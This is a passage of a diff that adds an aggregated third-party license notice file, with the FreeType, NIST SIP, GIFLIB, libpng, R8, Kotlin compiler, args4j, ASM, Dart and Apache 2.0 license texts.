+  various tools and  contributions which rely on, or  relate to, the
+  FreeType Project.
+
+  This  license applies  to all  files found  in such  packages, and
+  which do not  fall under their own explicit  license.  The license
+  affects  thus  the  FreeType   font  engine,  the  test  programs,
+  documentation and makefiles, at the very least.
+
+  This  license   was  inspired  by  the  BSD,   Artistic,  and  IJG
+  (Independent JPEG  Group) licenses, which  all encourage inclusion
+  and  use of  free  software in  commercial  and freeware  products
+  alike.  As a consequence, its main points are that:
+
+    o We don't promise that this software works. However, we will be
+      interested in any kind of bug reports. (`as is' distribution)
+
+    o You can  use this software for whatever you  want, in parts or
+      full form, without having to pay us. (`royalty-free' usage)
+
+    o You may not pretend that  you wrote this software.  If you use
+      it, or  only parts of it,  in a program,  you must acknowledge
+      somewhere  in  your  documentation  that  you  have  used  the
+      FreeType code. (`credits')
+
+  We  specifically  permit  and  encourage  the  inclusion  of  this
+  software, with  or without modifications,  in commercial products.
+  We  disclaim  all warranties  covering  The  FreeType Project  and
+  assume no liability related to The FreeType Project.
+
+
+  Finally,  many  people  asked  us  for  a  preferred  form  for  a
+  credit/disclaimer to use in compliance with this license.  We thus
+  encourage you to use the following text:
+
+   """  
+    Portions of this software are copyright © <year> The FreeType
+    Project (www.freetype.org).  All rights reserved.
+   """
+
+  Please replace <year> with the value from the FreeType version you
+  actually use.
+
+
+Legal Terms
+===========
+
+0. Definitions
+--------------
+
+  Throughout this license,  the terms `package', `FreeType Project',
+  and  `FreeType  archive' refer  to  the  set  of files  originally
+  distributed  by the  authors  (David Turner,  Robert Wilhelm,  and
+  Werner Lemberg) as the `FreeType Project', be they named as alpha,
+  beta or final release.
+
+  `You' refers to  the licensee, or person using  the project, where
+  `using' is a generic term including compiling the project's source
+  code as  well as linking it  to form a  `program' or `executable'.
+  This  program is  referred to  as  `a program  using the  FreeType
+  engine'.
+
+  This  license applies  to all  files distributed  in  the original
+  FreeType  Project,   including  all  source   code,  binaries  and
+  documentation,  unless  otherwise  stated   in  the  file  in  its
+  original, unmodified form as  distributed in the original archive.
+  If you are  unsure whether or not a particular  file is covered by
+  this license, you must contact us to verify this.
+
+  The FreeType  Project is copyright (C) 1996-2000  by David Turner,
+  Robert Wilhelm, and Werner Lemberg.  All rights reserved except as
+  specified below.
+
+1. No Warranty
+--------------
+
+  THE FREETYPE PROJECT  IS PROVIDED `AS IS' WITHOUT  WARRANTY OF ANY
+  KIND, EITHER  EXPRESS OR IMPLIED,  INCLUDING, BUT NOT  LIMITED TO,
+  WARRANTIES  OF  MERCHANTABILITY   AND  FITNESS  FOR  A  PARTICULAR
+  PURPOSE.  IN NO EVENT WILL ANY OF THE AUTHORS OR COPYRIGHT HOLDERS
+  BE LIABLE  FOR ANY DAMAGES CAUSED  BY THE USE OR  THE INABILITY TO
+  USE, OF THE FREETYPE PROJECT.
+
+2. Redistribution
+-----------------
+
+  This  license  grants  a  worldwide, royalty-free,  perpetual  and
+  irrevocable right  and license to use,  execute, perform, compile,
+  display,  copy,   create  derivative  works   of,  distribute  and
+  sublicense the  FreeType Project (in  both source and  object code
+  forms)  and  derivative works  thereof  for  any  purpose; and  to
+  authorize others  to exercise  some or all  of the  rights granted
+  herein, subject to the following conditions:
+
+    o Redistribution of  source code  must retain this  license file
+      (`FTL.TXT') unaltered; any  additions, deletions or changes to
+      the original  files must be clearly  indicated in accompanying
+      documentation.   The  copyright   notices  of  the  unaltered,
+      original  files must  be  preserved in  all  copies of  source
+      files.
+
+    o Redistribution in binary form must provide a  disclaimer  that
+      states  that  the software is based in part of the work of the
+      FreeType Team,  in  the  distribution  documentation.  We also
+      encourage you to put an URL to the FreeType web page  in  your
+      documentation, though this isn't mandatory.
+
+  These conditions  apply to any  software derived from or  based on
+  the FreeType Project,  not just the unmodified files.   If you use
+  our work, you  must acknowledge us.  However, no  fee need be paid
+  to us.
+
+3. Advertising
+--------------
+
+  Neither the  FreeType authors and  contributors nor you  shall use
+  the name of the  other for commercial, advertising, or promotional
+  purposes without specific prior written permission.
+
+  We suggest,  but do not require, that  you use one or  more of the
+  following phrases to refer  to this software in your documentation
+  or advertising  materials: `FreeType Project',  `FreeType Engine',
+  `FreeType library', or `FreeType Distribution'.
+
+  As  you have  not signed  this license,  you are  not  required to
+  accept  it.   However,  as  the FreeType  Project  is  copyrighted
+  material, only  this license, or  another one contracted  with the
+  authors, grants you  the right to use, distribute,  and modify it.
+  Therefore,  by  using,  distributing,  or modifying  the  FreeType
+  Project, you indicate that you understand and accept all the terms
+  of this license.
+
+4. Contacts
+-----------
+
+  There are two mailing lists related to FreeType:
+
+    o freetype@nongnu.org
+
+      Discusses general use and applications of FreeType, as well as
+      future and  wanted additions to the  library and distribution.
+      If  you are looking  for support,  start in  this list  if you
+      haven't found anything to help you in the documentation.
+
+    o freetype-devel@nongnu.org
+
+      Discusses bugs,  as well  as engine internals,  design issues,
+      specific licenses, porting, etc.
+
+  Our home page can be found at
+
+    http://www.freetype.org
+
+
+--- end of FTL.TXT ---
+
+======================================================================
+external/nist-sip/NOTICE
+
+/*
+***********************************************************************
+* The following applies to the packages "gov.nist", "test" and 
+* "tools" and all subpackages thereof
+***********************************************************************
+*
+* Conditions Of Use 
+* 
+* This software was developed by employees of the National Institute of
+* Standards and Technology (NIST), and others. 
+* This software has been contributed to the public domain. 
+* Pursuant to title 15 Untied States Code Section 105, works of NIST
+* employees are not subject to copyright protection in the United States
+* and are considered to be in the public domain. 
+* As a result, a formal license is not needed to use this software.
+* 
+* This software is provided "AS IS."  
+* NIST MAKES NO WARRANTY OF ANY KIND, EXPRESS, IMPLIED
+* OR STATUTORY, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTY OF
+* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, NON-INFRINGEMENT
+* AND DATA ACCURACY.  NIST does not warrant or make any representations
+* regarding the use of the software or the results thereof, including but
+* not limited to the correctness, accuracy, reliability or usefulness of
+* this software.
+* 
+* 
+*/
+
+======================================================================
+external/giflib/NOTICE
+
+The GIFLIB distribution is Copyright (c) 1997  Eric S. Raymond
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in
+all copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.  IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+THE SOFTWARE.
+
+======================================================================
+external/libpng/LICENSE
+
+COPYRIGHT NOTICE, DISCLAIMER, and LICENSE
+=========================================
+
+PNG Reference Library License version 2
+---------------------------------------
+
+ * Copyright (c) 1995-2019 The PNG Reference Library Authors.
+ * Copyright (c) 2018-2019 Cosmin Truta.
+ * Copyright (c) 2000-2002, 2004, 2006-2018 Glenn Randers-Pehrson.
+ * Copyright (c) 1996-1997 Andreas Dilger.
+ * Copyright (c) 1995-1996 Guy Eric Schalnat, Group 42, Inc.
+
+The software is supplied "as is", without warranty of any kind,
+express or implied, including, without limitation, the warranties
+of merchantability, fitness for a particular purpose, title, and
+non-infringement.  In no event shall the Copyright owners, or
+anyone distributing the software, be liable for any damages or
+other liability, whether in contract, tort or otherwise, arising
+from, out of, or in connection with the software, or the use or
+other dealings in the software, even if advised of the possibility
+of such damage.
+
+Permission is hereby granted to use, copy, modify, and distribute
+this software, or portions hereof, for any purpose, without fee,
+subject to the following restrictions:
+
+ 1. The origin of this software must not be misrepresented; you
+    must not claim that you wrote the original software.  If you
+    use this software in a product, an acknowledgment in the product
+    documentation would be appreciated, but is not required.
+
+ 2. Altered source versions must be plainly marked as such, and must
+    not be misrepresented as being the original software.
+
+ 3. This Copyright notice may not be removed or altered from any
+    source or altered source distribution.
+
+
+PNG Reference Library License version 1 (for libpng 0.5 through 1.6.35)
+-----------------------------------------------------------------------
+
+libpng versions 1.0.7, July 1, 2000, through 1.6.35, July 15, 2018 are
+Copyright (c) 2000-2002, 2004, 2006-2018 Glenn Randers-Pehrson, are
+derived from libpng-1.0.6, and are distributed according to the same
+disclaimer and license as libpng-1.0.6 with the following individuals
+added to the list of Contributing Authors:
+
+    Simon-Pierre Cadieux
+    Eric S. Raymond
+    Mans Rullgard
+    Cosmin Truta
+    Gilles Vollant
+    James Yu
+    Mandar Sahastrabuddhe
+    Google Inc.
+    Vadim Barkov
+
+and with the following additions to the disclaimer:
+
+    There is no warranty against interference with your enjoyment of
+    the library or against infringement.  There is no warranty that our
+    efforts or the library will fulfill any of your particular purposes
+    or needs.  This library is provided with all faults, and the entire
+    risk of satisfactory quality, performance, accuracy, and effort is
+    with the user.
+
+Some files in the "contrib" directory and some configure-generated
+files that are distributed with libpng have other copyright owners, and
+are released under other open source licenses.
+
+libpng versions 0.97, January 1998, through 1.0.6, March 20, 2000, are
+Copyright (c) 1998-2000 Glenn Randers-Pehrson, are derived from
+libpng-0.96, and are distributed according to the same disclaimer and
+license as libpng-0.96, with the following individuals added to the
+list of Contributing Authors:
+
+    Tom Lane
+    Glenn Randers-Pehrson
+    Willem van Schaik
+
+libpng versions 0.89, June 1996, through 0.96, May 1997, are
+Copyright (c) 1996-1997 Andreas Dilger, are derived from libpng-0.88,
+and are distributed according to the same disclaimer and license as
+libpng-0.88, with the following individuals added to the list of
+Contributing Authors:
+
+    John Bowler
+    Kevin Bracey
+    Sam Bushell
+    Magnus Holmgren
+    Greg Roelofs
+    Tom Tanner
+
+Some files in the "scripts" directory have other copyright owners,
+but are released under this license.
+
+libpng versions 0.5, May 1995, through 0.88, January 1996, are
+Copyright (c) 1995-1996 Guy Eric Schalnat, Group 42, Inc.
+
+For the purposes of this copyright and license, "Contributing Authors"
+is defined as the following set of individuals:
+
+    Andreas Dilger
+    Dave Martindale
+    Guy Eric Schalnat
+    Paul Schmidt
+    Tim Wegner
+
+The PNG Reference Library is supplied "AS IS".  The Contributing
+Authors and Group 42, Inc. disclaim all warranties, expressed or
+implied, including, without limitation, the warranties of
+merchantability and of fitness for any purpose.  The Contributing
+Authors and Group 42, Inc. assume no liability for direct, indirect,
+incidental, special, exemplary, or consequential damages, which may
+result from the use of the PNG Reference Library, even if advised of
+the possibility of such damage.
+
+Permission is hereby granted to use, copy, modify, and distribute this
+source code, or portions hereof, for any purpose, without fee, subject
+to the following restrictions:
+
+ 1. The origin of this source code must not be misrepresented.
+
+ 2. Altered versions must be plainly marked as such and must not
+    be misrepresented as being the original source.
+
+ 3. This Copyright notice may not be removed or altered from any
+    source or altered source distribution.
+
+The Contributing Authors and Group 42, Inc. specifically permit,
+without fee, and encourage the use of this source code as a component
+to supporting the PNG file format in commercial products.  If you use
+this source code in a product, acknowledgment is not required but would
+be appreciated.
+
+======================================================================
+prebuilts/r8/NOTICE
+
+Copyright (c) 2016, the R8 project authors.
+All rights reserved.
+
+Redistribution and use in source and binary forms, with or without
+modification, are permitted provided that the following conditions are met:
+
+* Redistributions of source code must retain the above copyright notice, this
+  list of conditions and the following disclaimer.
+
+* Redistributions in binary form must reproduce the above copyright notice,
+  this list of conditions and the following disclaimer in the documentation
+  and/or other materials provided with the distribution.
+
+* Neither the name of Google Inc. nor the names of its
+  contributors may be used to endorse or promote products derived from
+  this software without specific prior written permission.
+
+THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+
+======================================================================
+external/kotlinc/LICENSE
+
+/*
+ * Copyright 2010-2017 JetBrains s.r.o.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+--------------------------------------------------------------------------------
+args4j_LICENSE.txt:
+The MIT License
+
+Copyright (c) 2003, Kohsuke Kawaguchi
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in
+all copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+THE SOFTWARE.
+
+--------------------------------------------------------------------------------
+asm_license.txt:
+
+ ASM: a very small and fast Java bytecode manipulation framework
+ Copyright (c) 2000-2005 INRIA, France Telecom
+ All rights reserved.
+
+ Redistribution and use in source and binary forms, with or without
+ modification, are permitted provided that the following conditions
+ are met:
+ 1. Redistributions of source code must retain the above copyright
+    notice, this list of conditions and the following disclaimer.
+ 2. Redistributions in binary form must reproduce the above copyright
+    notice, this list of conditions and the following disclaimer in the
+    documentation and/or other materials provided with the distribution.
+ 3. Neither the name of the copyright holders nor the names of its
+    contributors may be used to endorse or promote products derived from
+    this software without specific prior written permission.
+
+ THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
+ LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
+ CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
+ SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
+ INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
+ CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
+ ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF
+ THE POSSIBILITY OF SUCH DAMAGE.
+
+--------------------------------------------------------------------------------
+closure-compiler_LICENSE.txt:
+
+                                 Apache License
+                           Version 2.0, January 2004
+                        http://www.apache.org/licenses/
+
+   TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
+
+   1. Definitions.
+
+      "License" shall mean the terms and conditions for use, reproduction,
+      and distribution as defined by Sections 1 through 9 of this document.
+
+      "Licensor" shall mean the copyright owner or entity authorized by
+      the copyright owner that is granting the License.
+
+      "Legal Entity" shall mean the union of the acting entity and all
+      other entities that control, are controlled by, or are under common
+      control with that entity. For the purposes of this definition,
+      "control" means (i) the power, direct or indirect, to cause the
+      direction or management of such entity, whether by contract or
+      otherwise, or (ii) ownership of fifty percent (50%) or more of the
+      outstanding shares, or (iii) beneficial ownership of such entity.
+
+      "You" (or "Your") shall mean an individual or Legal Entity
+      exercising permissions granted by this License.
+
+      "Source" form shall mean the preferred form for making modifications,
+      including but not limited to software source code, documentation
+      source, and configuration files.
+
+      "Object" form shall mean any form resulting from mechanical
+      transformation or translation of a Source form, including but
+      not limited to compiled object code, generated documentation,
+      and conversions to other media types.
+
+      "Work" shall mean the work of authorship, whether in Source or
+      Object form, made available under the License, as indicated by a
+      copyright notice that is included in or attached to the work
+      (an example is provided in the Appendix below).
+
+      "Derivative Works" shall mean any work, whether in Source or Object
+      form, that is based on (or derived from) the Work and for which the
+      editorial revisions, annotations, elaborations, or other modifications
+      represent, as a whole, an original work of authorship. For the purposes
+      of this License, Derivative Works shall not include works that remain
+      separable from, or merely link (or bind by name) to the interfaces of,
+      the Work and Derivative Works thereof.
+
+      "Contribution" shall mean any work of authorship, including
+      the original version of the Work and any modifications or additions
+      to that Work or Derivative Works thereof, that is intentionally
+      submitted to Licensor for inclusion in the Work by the copyright owner
+      or by an individual or Legal Entity authorized to submit on behalf of
+      the copyright owner. For the purposes of this definition, "submitted"
+      means any form of electronic, verbal, or written communication sent
+      to the Licensor or its representatives, including but not limited to
+      communication on electronic mailing lists, source code control systems,
+      and issue tracking systems that are managed by, or on behalf of, the
+      Licensor for the purpose of discussing and improving the Work, but
+      excluding communication that is conspicuously marked or otherwise
+      designated in writing by the copyright owner as "Not a Contribution."
+
+      "Contributor" shall mean Licensor and any individual or Legal Entity
+      on behalf of whom a Contribution has been received by Licensor and
+      subsequently incorporated within the Work.
+
+   2. Grant of Copyright License. Subject to the terms and conditions of
+      this License, each Contributor hereby grants to You a perpetual,
+      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+      copyright license to reproduce, prepare Derivative Works of,
+      publicly display, publicly perform, sublicense, and distribute the
+      Work and such Derivative Works in Source or Object form.
+
+   3. Grant of Patent License. Subject to the terms and conditions of
+      this License, each Contributor hereby grants to You a perpetual,
+      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+      (except as stated in this section) patent license to make, have made,
+      use, offer to sell, sell, import, and otherwise transfer the Work,
+      where such license applies only to those patent claims licensable
+      by such Contributor that are necessarily infringed by their
+      Contribution(s) alone or by combination of their Contribution(s)
+      with the Work to which such Contribution(s) was submitted. If You
+      institute patent litigation against any entity (including a
+      cross-claim or counterclaim in a lawsuit) alleging that the Work
+      or a Contribution incorporated within the Work constitutes direct
+      or contributory patent infringement, then any patent licenses
+      granted to You under this License for that Work shall terminate
+      as of the date such litigation is filed.
+
+   4. Redistribution. You may reproduce and distribute copies of the
+      Work or Derivative Works thereof in any medium, with or without
+      modifications, and in Source or Object form, provided that You
+      meet the following conditions:
+
+      (a) You must give any other recipients of the Work or
+          Derivative Works a copy of this License; and
+
+      (b) You must cause any modified files to carry prominent notices
+          stating that You changed the files; and
+
+      (c) You must retain, in the Source form of any Derivative Works
+          that You distribute, all copyright, patent, trademark, and
+          attribution notices from the Source form of the Work,
+          excluding those notices that do not pertain to any part of
+          the Derivative Works; and
+
+      (d) If the Work includes a "NOTICE" text file as part of its
+          distribution, then any Derivative Works that You distribute must
+          include a readable copy of the attribution notices contained
+          within such NOTICE file, excluding those notices that do not
+          pertain to any part of the Derivative Works, in at least one
+          of the following places: within a NOTICE text file distributed
+          as part of the Derivative Works; within the Source form or
+          documentation, if provided along with the Derivative Works; or,
+          within a display generated by the Derivative Works, if and
+          wherever such third-party notices normally appear. The contents
+          of the NOTICE file are for informational purposes only and
+          do not modify the License. You may add Your own attribution
+          notices within Derivative Works that You distribute, alongside
+          or as an addendum to the NOTICE text from the Work, provided
+          that such additional attribution notices cannot be construed
+          as modifying the License.
+
+      You may add Your own copyright statement to Your modifications and
+      may provide additional or different license terms and conditions
+      for use, reproduction, or distribution of Your modifications, or
+      for any such Derivative Works as a whole, provided Your use,
+      reproduction, and distribution of the Work otherwise complies with
+      the conditions stated in this License.
+
+   5. Submission of Contributions. Unless You explicitly state otherwise,
+      any Contribution intentionally submitted for inclusion in the Work
+      by You to the Licensor shall be under the terms and conditions of
+      this License, without any additional terms or conditions.
+      Notwithstanding the above, nothing herein shall supersede or modify
+      the terms of any separate license agreement you may have executed
+      with Licensor regarding such Contributions.
+
+   6. Trademarks. This License does not grant permission to use the trade
+      names, trademarks, service marks, or product names of the Licensor,
+      except as required for reasonable and customary use in describing the
+      origin of the Work and reproducing the content of the NOTICE file.
+
+   7. Disclaimer of Warranty. Unless required by applicable law or
+      agreed to in writing, Licensor provides the Work (and each
+      Contributor provides its Contributions) on an "AS IS" BASIS,
+      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
+      implied, including, without limitation, any warranties or conditions
+      of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
+      PARTICULAR PURPOSE. You are solely responsible for determining the
+      appropriateness of using or redistributing the Work and assume any
+      risks associated with Your exercise of permissions under this License.
+
+   8. Limitation of Liability. In no event and under no legal theory,
+      whether in tort (including negligence), contract, or otherwise,
+      unless required by applicable law (such as deliberate and grossly
+      negligent acts) or agreed to in writing, shall any Contributor be
+      liable to You for damages, including any direct, indirect, special,
+      incidental, or consequential damages of any character arising as a
+      result of this License or out of the use or inability to use the
+      Work (including but not limited to damages for loss of goodwill,
+      work stoppage, computer failure or malfunction, or any and all
+      other commercial damages or losses), even if such Contributor
+      has been advised of the possibility of such damages.
+
+   9. Accepting Warranty or Additional Liability. While redistributing
+      the Work or Derivative Works thereof, You may choose to offer,
+      and charge a fee for, acceptance of support, warranty, indemnity,
+      or other liability obligations and/or rights consistent with this
+      License. However, in accepting such obligations, You may act only
+      on Your own behalf and on Your sole responsibility, not on behalf
+      of any other Contributor, and only if You agree to indemnify,
+      defend, and hold each Contributor harmless for any liability
+      incurred by, or claims asserted against, such Contributor by reason
+      of your accepting any such warranty or additional liability.
+
+   END OF TERMS AND CONDITIONS
+
+   APPENDIX: How to apply the Apache License to your work.
+
+      To apply the Apache License to your work, attach the following
+      boilerplate notice, with the fields enclosed by brackets "[]"
+      replaced with your own identifying information. (Don't include
+      the brackets!)  The text should be enclosed in the appropriate
+      comment syntax for the file format. We also recommend that a
+      file or class name and description of purpose be included on the
+      same "printed page" as the copyright notice for easier
+      identification within third-party archives.
+
+   Copyright [yyyy] [name of copyright owner]
+
+   Licensed under the Apache License, Version 2.0 (the "License");
+   you may not use this file except in compliance with the License.
+   You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+   Unless required by applicable law or agreed to in writing, software
+   distributed under the License is distributed on an "AS IS" BASIS,
+   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+   See the License for the specific language governing permissions and
+   limitations under the License.
+
+--------------------------------------------------------------------------------
+dart_LICENSE.txt:
+This license applies to all parts of Dart that are not externally
+maintained libraries. The external maintained libraries used by
+Dart are:
+
+7-Zip - in third_party/7zip
+JSCRE - in runtime/third_party/jscre
+Ant - in third_party/apache_ant
+args4j - in third_party/args4j
+bzip2 - in third_party/bzip2
+dromaeo - in samples/third_party/dromaeo
+Eclipse - in third_party/eclipse
+gsutil = in third_party/gsutil
+Guava - in third_party/guava
+hamcrest - in third_party/hamcrest
+Httplib2 - in samples/third_party/httplib2
+JSON - in third_party/json
+JUnit - in third_party/junit
+Oauth - in samples/third_party/oauth2client
+Rhino - in third_party/rhino
+weberknecht - in third_party/weberknecht
+
+The libraries may have their own licenses; we recommend you read them,
+as their terms may differ from the terms below.
+
+Copyright 2012, the Dart project authors. All rights reserved.
+Redistribution and use in source and binary forms, with or without
+modification, are permitted provided that the following conditions are
+met:
+    * Redistributions of source code must retain the above copyright
+      notice, this list of conditions and the following disclaimer.
+    * Redistributions in binary form must reproduce the above
+      copyright notice, this list of conditions and the following
+      disclaimer in the documentation and/or other materials provided
+      with the distribution.
+    * Neither the name of Google Inc. nor the names of its
+      contributors may be used to endorse or promote products derived
+      from this software without specific prior written permission.
+THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+
+--------------------------------------------------------------------------------
+guava_license.txt:
+
+                                 Apache License
+                           Version 2.0, January 2004
+                        http://www.apache.org/licenses/
+
+   TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
+
+   1. Definitions.
+
+      "License" shall mean the terms and conditions for use, reproduction,
+      and distribution as defined by Sections 1 through 9 of this document.
+
+      "Licensor" shall mean the copyright owner or entity authorized by
+      the copyright owner that is granting the License.
+
+      "Legal Entity" shall mean the union of the acting entity and all
+      other entities that control, are controlled by, or are under common
+      control with that entity. For the purposes of this definition,
+      "control" means (i) the power, direct or indirect, to cause the
+      direction or management of such entity, whether by contract or
+      otherwise, or (ii) ownership of fifty percent (50%) or more of the
+      outstanding shares, or (iii) beneficial ownership of such entity.
+
+      "You" (or "Your") shall mean an individual or Legal Entity
+      exercising permissions granted by this License.
+
+      "Source" form shall mean the preferred form for making modifications,
+      including but not limited to software source code, documentation
+      source, and configuration files.
+
+      "Object" form shall mean any form resulting from mechanical
+      transformation or translation of a Source form, including but
+      not limited to compiled object code, generated documentation,
+      and conversions to other media types.
+
+      "Work" shall mean the work of authorship, whether in Source or
+      Object form, made available under the License, as indicated by a
+      copyright notice that is included in or attached to the work
+      (an example is provided in the Appendix below).
+
+      "Derivative Works" shall mean any work, whether in Source or Object
+      form, that is based on (or derived from) the Work and for which the
+      editorial revisions, annotations, elaborations, or other modifications
+      represent, as a whole, an original work of authorship. For the purposes
+      of this License, Derivative Works shall not include works that remain
+      separable from, or merely link (or bind by name) to the interfaces of,
+      the Work and Derivative Works thereof.
+
+      "Contribution" shall mean any work of authorship, including
+      the original version of the Work and any modifications or additions
+      to that Work or Derivative Works thereof, that is intentionally
+      submitted to Licensor for inclusion in the Work by the copyright owner
+      or by an individual or Legal Entity authorized to submit on behalf of
+      the copyright owner. For the purposes of this definition, "submitted"
+      means any form of electronic, verbal, or written communication sent
+      to the Licensor or its representatives, including but not limited to
+      communication on electronic mailing lists, source code control systems,
+      and issue tracking systems that are managed by, or on behalf of, the
+      Licensor for the purpose of discussing and improving the Work, but
+      excluding communication that is conspicuously marked or otherwise
+      designated in writing by the copyright owner as "Not a Contribution."
+
+      "Contributor" shall mean Licensor and any individual or Legal Entity
+      on behalf of whom a Contribution has been received by Licensor and
+      subsequently incorporated within the Work.
+
+   2. Grant of Copyright License. Subject to the terms and conditions of
+      this License, each Contributor hereby grants to You a perpetual,
+      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+      copyright license to reproduce, prepare Derivative Works of,
+      publicly display, publicly perform, sublicense, and distribute the
+      Work and such Derivative Works in Source or Object form.
+
+   3. Grant of Patent License. Subject to the terms and conditions of
+      this License, each Contributor hereby grants to You a perpetual,
+      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+      (except as stated in this section) patent license to make, have made,
+      use, offer to sell, sell, import, and otherwise transfer the Work,
+      where such license applies only to those patent claims licensable
+      by such Contributor that are necessarily infringed by their
+      Contribution(s) alone or by combination of their Contribution(s)
+      with the Work to which such Contribution(s) was submitted. If You
+      institute patent litigation against any entity (including a
+      cross-claim or counterclaim in a lawsuit) alleging that the Work
+      or a Contribution incorporated within the Work constitutes direct
+      or contributory patent infringement, then any patent licenses
+      granted to You under this License for that Work shall terminate
+      as of the date such litigation is filed.
+
+   4. Redistribution. You may reproduce and distribute copies of the
+      Work or Derivative Works thereof in any medium, with or without
+      modifications, and in Source or Object form, provided that You
+      meet the following conditions:
+
+      (a) You must give any other recipients of the Work or
+          Derivative Works a copy of this License; and
+
+      (b) You must cause any modified files to carry prominent notices
+          stating that You changed the files; and
+
